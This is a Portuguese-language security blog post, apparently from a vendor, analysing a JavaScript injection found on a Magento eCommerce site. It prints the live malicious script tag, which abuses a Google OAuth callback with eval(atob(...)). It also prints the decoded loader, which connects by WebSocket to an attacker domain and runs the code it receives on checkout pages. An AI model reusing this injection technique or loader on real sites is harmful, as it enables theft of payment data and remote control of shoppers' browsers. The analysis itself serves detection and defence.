Analisamos um ataque client-side particularmente engenhoso em um site de eCommerce baseado em Magento, o parts[.]expert. Embora não seja um domínio de alto tráfego, a técnica de injeção utilizada aqui merece atenção, pois se esconde à vista de todos.
O atacante está usando o 'Google.com' para entregar e executar seu próprio código, explorando medidas de segurança do OAuth, o que pode comprometer credenciais de contas Google e tokens de acesso.
O Que Encontramos
Nosso sistema sinalizou um script proveniente de uma URL inesperada:
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

À primeira vista, parece uma URL legítima de logout OAuth do servidor de autorização:
accounts.google.com/o/oauth2/revoke.
Mas, olhando mais de perto, o parâmetro callback foi armado para executar um payload JavaScript ofuscado via eval(atob(...)).

Análise Passo a Passo
O payload codificado em base64 embutido no callback é decodificado em outro script ofuscado, que cria dinamicamente uma conexão WebSocket maliciosa para um domínio controlado pelo atacante, levantando preocupações críticas de segurança WebSocket. Decodificado, ele é lido como:
(function() {
let setupMaliciousWebSocket = () => {
// Connect to attacker's WebSocket server
const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");
// Execute any code received from the server
ws.onmessage = (event) => {
const maliciousCode = atob(event.data); // Decode Base64
new Function(maliciousCode).call(event.target); // Execute dynamically
};
};
// Run if:
// 1. The browser is automated (e.g., bots), OR
// 2. The URL contains 'checkout' (e.g., payment page)
if (navigator.webdriver || window.location.href.match('checkout')) {
setupMaliciousWebSocket();
}
})();
O Que o Script Faz
- Conecta a um Servidor WebSocket Malicioso se a página contiver
checkoutna URL. Ou, se o navegador parecer automatizado, abre uma conexão wss:// para livechatinc[.]network/chatpipe/029/. Esse domínio já está sinalizado como malicioso: link do VirusTotal, e são exemplos claros de ataques WebSocket em ação. - Recebe e Executa Payloads Remotos: Qualquer mensagem codificada em base64 enviada pelo WebSocket é decodificada e executada com
new Function(...). Isso concede ao atacante capacidade total de execução remota dentro da sessão do navegador do usuário — uma técnica frequentemente usada em phishing OAuth e outros ataques OAuth — e pode resultar em vazamento de dados, interceptando informações sensíveis como endereços de e-mail e dados de pagamento. - Consciente do Momento e do Contexto: O script é ativado especificamente em páginas de checkout, provavelmente para interceptar dados de pagamento ou injetar elementos fraudulentos em tempo real.
Por Que Isso É Importante
- Parece Legítimo: Aparenta carregar de um domínio do Google, assemelhando-se ao tráfego de vulnerabilidades do Google OAuth, então a maioria das ferramentas de segurança confiaria nele sem questionar. Uma CSP não conseguirá bloquear esse ataque, pois o domínio confiável Google.com passará normalmente. Um filtro DNS no dispositivo do usuário também não seria eficaz.
- Burla Scanners Estáticos: A lógica perigosa está aninhada em duas camadas de ofuscação e só é executada sob condições específicas, tornando-a especialmente difícil de detectar para organizações sem um avaliador de segurança qualificado (QSA).
- Controle em Tempo Real: Payloads baseados em WebSocket permitem que os atacantes enviem lógica maliciosa dinâmica com base nas ações do usuário.
Já vimos antes casos de falsificação de domínio e loaders ofuscados, mas essa combinação de desvio de OAuth com controle remoto ativado condicionalmente vai um passo além.
Nosso produto na cside foi capaz de identificar e bloquear esse ataque. Recebemos o payload completo do script buscado e o analisamos antes de ser enviado ao navegador.
Você pode criar uma conta ou agendar uma demonstração aqui.




